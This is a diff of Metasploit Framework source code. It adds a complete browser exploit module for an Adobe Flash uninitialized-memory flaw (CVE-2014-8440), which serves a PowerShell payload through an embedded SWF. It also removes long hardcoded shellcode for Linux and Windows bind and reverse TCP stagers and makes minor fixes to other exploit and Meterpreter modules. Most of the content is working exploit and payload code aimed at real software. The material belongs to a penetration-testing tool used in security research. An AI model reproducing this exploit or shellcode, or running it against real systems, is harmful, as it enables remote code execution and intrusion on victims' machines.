'Name' => 'Energizer DUO USB Battery Charger Arucer.dll Trojan Code Execution',
|
||||
'Description' => %q{
|
||||
This module will execute an arbitrary payload against
|
||||
any system infected with the Arugizer trojan horse. This
|
||||
backdoor was shipped with the software package accompanying
|
||||
the Energizer Duo USB battery charger.
|
||||
the Energizer DUO USB battery charger.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in Computer Associates BrighStor ARCserve r11.5 (build 3884).
|
||||
This module exploits a buffer overflow in Computer Associates BrightStor ARCserve r11.5 (build 3884).
|
||||
By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer
|
||||
and execute arbitrary code. In order to successfully exploit this vulnerability, you will need
|
||||
set the hostname argument (HNAME).
|
||||
|
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Computer Associates BrighStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0
|
||||
[ 'Computer Associates BrightStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0
|
||||
],
|
||||
'DisclosureDate' => 'Oct 9 2008',
|
||||
'DefaultTarget' => 0))
|
||||
|
|
|
@ -30,6 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
['ZDI', '14-365'],
|
||||
['CVE', '2014-0569'],
|
||||
['OSVDB', '113199'],
|
||||
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-22.html'],
|
||||
['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0569.html']
|
||||
],
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Exploit::Remote::BrowserExploitServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory',
|
||||
'Description' => %q{
|
||||
This module exploits an unintialized memory vulnerability in Adobe Flash Player. The
|
||||
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails
|
||||
to initialize allocated memory. When using a correct memory layout this vulnerability
|
||||
leads to a ByteArray object corruption, which can be abused to access and corrupt memory.
|
||||
This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with
|
||||
Flash 15.0.0.189.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nicolas Joly', # Vulnerability discovery
|
||||
'Unknown', # Exploit in the wild
|
||||
'juan vazquez' # msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-8440'],
|
||||
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-24.html'],
|
||||
['URL', 'http://malware.dontneedcoffee.com/2014/11/cve-2014-8440.html'],
|
||||
['URL', 'http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1081']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:os_name => OperatingSystems::Match::WINDOWS_7,
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' },
|
||||
:arch => ARCH_X86
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Nov 11 2014',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status('Sending SWF...')
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Sending HTML...')
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
target_payload = get_payload(cli, target_info)
|
||||
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
|
||||
b64_payload = Rex::Text.encode_base64(psh_payload)
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=b64_payload%>" />
|
||||
<param name="Play" value="true" />
|
||||
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-8440', 'msf.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
end
|
|
@ -6,86 +6,26 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/linux/bind_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
###
|
||||
#
|
||||
# BindTcp
|
||||
# -------
|
||||
#
|
||||
# Linux bind TCP stager.
|
||||
#
|
||||
###
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 79
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Payload::Linux::BindTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Author' => [
|
||||
'skape', # original
|
||||
'egypt', # NX support
|
||||
],
|
||||
'Name' => 'Bind TCP Stager (Linux x86)',
|
||||
'Description' => 'Listen for a connection (Linux x86)',
|
||||
'Author' => [ 'skape', 'egypt', ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 0x29, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
|
||||
"\x6a\x7d" +# push byte +0x7d
|
||||
"\x58" +# pop eax
|
||||
"\x99" +# cdq
|
||||
"\xb2\x07" +# mov dl,0x7
|
||||
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
|
||||
"\x89\xe3" +# mov ebx,esp
|
||||
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x31\xdb" +# xor ebx,ebx
|
||||
"\xf7\xe3" +# mul ebx
|
||||
"\x53" +# push ebx
|
||||
"\x43" +# inc ebx
|
||||
"\x53" +# push ebx
|
||||
"\x6a\x02" +# push byte +0x2
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x5b" +# pop ebx
|
||||
"\x5e" +# pop esi
|
||||
"\x52" +# push edx
|
||||
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
|
||||
"\x6a\x10" +# push byte +0x10
|
||||
"\x51" +# push ecx
|
||||
"\x50" +# push eax
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\x6a\x66" +# push byte +0x66
|
||||
"\x58" +# pop eax
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\xd1\xe3" +# shl ebx,1
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x43" +# inc ebx
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\x89\x51\x04" +# mov [ecx+0x4],edx
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x93" +# xchg eax,ebx
|
||||
"\xb6\x0c" +# mov dh,0xc
|
||||
"\xb0\x03" +# mov al,0x3
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x89\xdf" +# mov edi,ebx
|
||||
"\xff\xe1" # jmp ecx
|
||||
|
||||
}
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' => { 'RequiresMidstager' => true }
|
||||
))
|
||||
end
|
||||
|
||||
|
|
|
@ -6,49 +6,26 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/bind_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 285
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BindTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager',
|
||||
'Description' => 'Listen for a connection',
|
||||
'Name' => 'Bind TCP Stager (Windows x86)',
|
||||
'Description' => 'Listen for a connection (Windows x86)',
|
||||
'Author' => ['hdm', 'skape', 'sf'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'RequiresMidstager' => false,
|
||||
'Offsets' => { 'LPORT' => [ 192, 'n' ] },
|
||||
'Payload' =>
|
||||
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
|
||||
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
|
||||
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
|
||||
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
|
||||
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
|
||||
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
|
||||
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
|
||||
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
|
||||
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
|
||||
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" +
|
||||
"\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" +
|
||||
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" +
|
||||
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" +
|
||||
"\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
|
||||
"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
|
||||
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
|
||||
"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3"
|
||||
}
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
|
||||
|
|
|
@ -6,14 +6,14 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/reverse_tcp'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 281
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -25,38 +25,8 @@ module Metasploit3
|
|||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'RequiresMidstager' => false,
|
||||
'Offsets' => {
|
||||
# ExitFunk Offset: 222
|
||||
'LHOST' => [ 190, 'ADDR' ],
|
||||
'LPORT' => [ 197, 'n' ],
|
||||
'ReverseConnectRetries' => [ 188, 'C']
|
||||
},
|
||||
'Payload' =>
|
||||
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
|
||||
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
|
||||
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
|
||||
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
|
||||
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
|
||||
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
|
||||
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
|
||||
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
|
||||
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
|
||||
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" +
|
||||
"\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00" +
|
||||
"\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5" +
|
||||
"\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5" +
|
||||
"\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF" +
|
||||
"\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4" +
|
||||
"\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F" +
|
||||
"\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3"
|
||||
}
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -6,14 +6,14 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/x64/bind_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 467
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BindTcp_x64
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -25,45 +25,7 @@ module Metasploit3
|
|||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'sockrdi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 232, 'n' ]
|
||||
},
|
||||
'RequiresMidstager' => false,
|
||||
'Payload' =>
|
||||
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
|
||||
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
|
||||
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
|
||||
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" +
|
||||
"\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" +
|
||||
"\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" +
|
||||
"\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" +
|
||||
"\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" +
|
||||
"\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" +
|
||||
"\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" +
|
||||
"\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" +
|
||||
"\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x49\xBE\x77\x73\x32" +
|
||||
"\x5F\x33\x32\x00\x00\x41\x56\x49\x89\xE6\x48\x81\xEC\xA0\x01\x00" +
|
||||
"\x00\x49\x89\xE5\x49\xBC\x02\x00\x11\x5C\x00\x00\x00\x00\x41\x54" +
|
||||
"\x49\x89\xE4\x4C\x89\xF1\x41\xBA\x4C\x77\x26\x07\xFF\xD5\x4C\x89" +
|
||||
"\xEA\x68\x01\x01\x00\x00\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5\x50" +
|
||||
"\x50\x4D\x31\xC9\x4D\x31\xC0\x48\xFF\xC0\x48\x89\xC2\x48\xFF\xC0" +
|
||||
"\x48\x89\xC1\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x6A\x10" +
|
||||
"\x41\x58\x4C\x89\xE2\x48\x89\xF9\x41\xBA\xC2\xDB\x37\x67\xFF\xD5" +
|
||||
"\x48\x31\xD2\x48\x89\xF9\x41\xBA\xB7\xE9\x38\xFF\xFF\xD5\x4D\x31" +
|
||||
"\xC0\x48\x31\xD2\x48\x89\xF9\x41\xBA\x74\xEC\x3B\xE1\xFF\xD5\x48" +
|
||||
"\x89\xF9\x48\x89\xC7\x41\xBA\x75\x6E\x4D\x61\xFF\xD5\x48\x81\xC4" +
|
||||
"\xA0\x02\x00\x00\x48\x83\xEC\x10\x48\x89\xE2\x4D\x31\xC9\x6A\x04" +
|
||||
"\x41\x58\x48\x89\xF9\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5\x48\x83\xC4" +
|
||||
"\x20\x5E\x6A\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xF2" +
|
||||
"\x48\x31\xC9\x41\xBA\x58\xA4\x53\xE5\xFF\xD5\x48\x89\xC3\x49\x89" +
|
||||
"\xC7\x4D\x31\xC9\x49\x89\xF0\x48\x89\xDA\x48\x89\xF9\x41\xBA\x02" +
|
||||
"\xD9\xC8\x5F\xFF\xD5\x48\x01\xC3\x48\x29\xC6\x48\x85\xF6\x75\xE1" +
|
||||
"\x41\xFF\xE7"
|
||||
}
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
|
||||
|
|
|
@ -6,14 +6,14 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/x64/reverse_tcp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 422
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseTcp_x64
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -25,43 +25,7 @@ module Metasploit3
|
|||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'sockrdi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 232, 'n' ],
|
||||
'LHOST' => [ 234, 'ADDR' ]
|
||||
},
|
||||
'RequiresMidstager' => false,
|
||||
'Payload' =>
|
||||
"\xFC\x48\x83\xE4\xF0\xE8\xC0\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
|
||||
"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
|
||||
"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
|
||||
"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
|
||||
"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88" +
|
||||
"\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44" +
|
||||
"\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48" +
|
||||
"\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1" +
|
||||
"\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44" +
|
||||
"\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49" +
|
||||
"\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A" +
|
||||
"\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41" +
|
||||
"\x59\x5A\x48\x8B\x12\xE9\x57\xFF\xFF\xFF\x5D\x49\xBE\x77\x73\x32" +
|
||||
"\x5F\x33\x32\x00\x00\x41\x56\x49\x89\xE6\x48\x81\xEC\xA0\x01\x00" +
|
||||
"\x00\x49\x89\xE5\x49\xBC\x02\x00\x11\x5C\x7F\x00\x00\x01\x41\x54" +
|
||||
"\x49\x89\xE4\x4C\x89\xF1\x41\xBA\x4C\x77\x26\x07\xFF\xD5\x4C\x89" +
|
||||
"\xEA\x68\x01\x01\x00\x00\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5\x50" +
|
||||
"\x50\x4D\x31\xC9\x4D\x31\xC0\x48\xFF\xC0\x48\x89\xC2\x48\xFF\xC0" +
|
||||
"\x48\x89\xC1\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x6A\x10" +
|
||||
"\x41\x58\x4C\x89\xE2\x48\x89\xF9\x41\xBA\x99\xA5\x74\x61\xFF\xD5" +
|
||||
"\x48\x81\xC4\x40\x02\x00\x00\x48\x83\xEC\x10\x48\x89\xE2\x4D\x31" +
|
||||
"\xC9\x6A\x04\x41\x58\x48\x89\xF9\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5" +
|
||||
"\x48\x83\xC4\x20\x5E\x6A\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58" +
|
||||
"\x48\x89\xF2\x48\x31\xC9\x41\xBA\x58\xA4\x53\xE5\xFF\xD5\x48\x89" +
|
||||
"\xC3\x49\x89\xC7\x4D\x31\xC9\x49\x89\xF0\x48\x89\xDA\x48\x89\xF9" +
|
||||
"\x41\xBA\x02\xD9\xC8\x5F\xFF\xD5\x48\x01\xC3\x48\x29\xC6\x48\x85" +
|
||||
"\xF6\x75\xE1\x41\xFF\xE7"
|
||||
}
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
|
||||
|
|
|
@ -8,6 +8,9 @@ require 'msf/base/sessions/meterpreter_x86_linux'
|
|||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'rex/elfparsey'
|
||||
|
||||
# Provides methods to patch options into the metsrv stager.
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
|
@ -97,13 +100,14 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def generate_stage
|
||||
#file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf")
|
||||
file = File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
|
||||
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
||||
|
||||
met = File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i)
|
||||
|
||||
return met
|
||||
blob
|
||||
end
|
||||
end
|
||||
|
|
|
@ -6,9 +6,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_x64_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
###
|
||||
|
@ -16,6 +14,7 @@ require 'msf/base/sessions/meterpreter_options'
|
|||
# Injects the meterpreter server DLL via the Reflective Dll Injection payload
|
||||
#
|
||||
###
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Windows::ReflectiveDllInject
|
||||
|
@ -26,10 +25,7 @@ module Metasploit3
|
|||
'Name' => 'Windows Meterpreter (Reflective Injection)',
|
||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged)',
|
||||
'Author' => ['skape','sf'],
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'sockedi',
|
||||
},
|
||||
'PayloadCompat' => { 'Convention' => 'sockedi', },
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win))
|
||||
|
||||
|
@ -39,7 +35,7 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def library_path
|
||||
MeterpreterBinaries.path('metsrv','x86.dll')
|
||||
MetasploitPayloads.meterpreter_path('metsrv','x86.dll')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -41,7 +41,7 @@ module Metasploit3
|
|||
end
|
||||
|
||||
def library_path
|
||||
MeterpreterBinaries.path('metsrv','x86.dll')
|
||||
MetasploitPayloads.meterpreter_path('metsrv','x86.dll')
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -22,19 +22,20 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows x64 Meterpreter',
|
||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (Windows x64) (staged)',
|
||||
'Name' => 'Windows Meterpreter (Reflective Injection x64)',
|
||||
'Description' => 'Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64)',
|
||||
'Author' => [ 'sf' ],
|
||||
'PayloadCompat' => { 'Convention' => 'sockrdi', },
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_Win
|
||||
))
|
||||
'Session' => Msf::Sessions::Meterpreter_x64_Win))
|
||||
|
||||
options.remove_option( 'LibraryName' )
|
||||
options.remove_option( 'DLL' )
|
||||
# Don't let people set the library name option
|
||||
options.remove_option('LibraryName')
|
||||
options.remove_option('DLL')
|
||||
end
|
||||
|
||||
def library_path
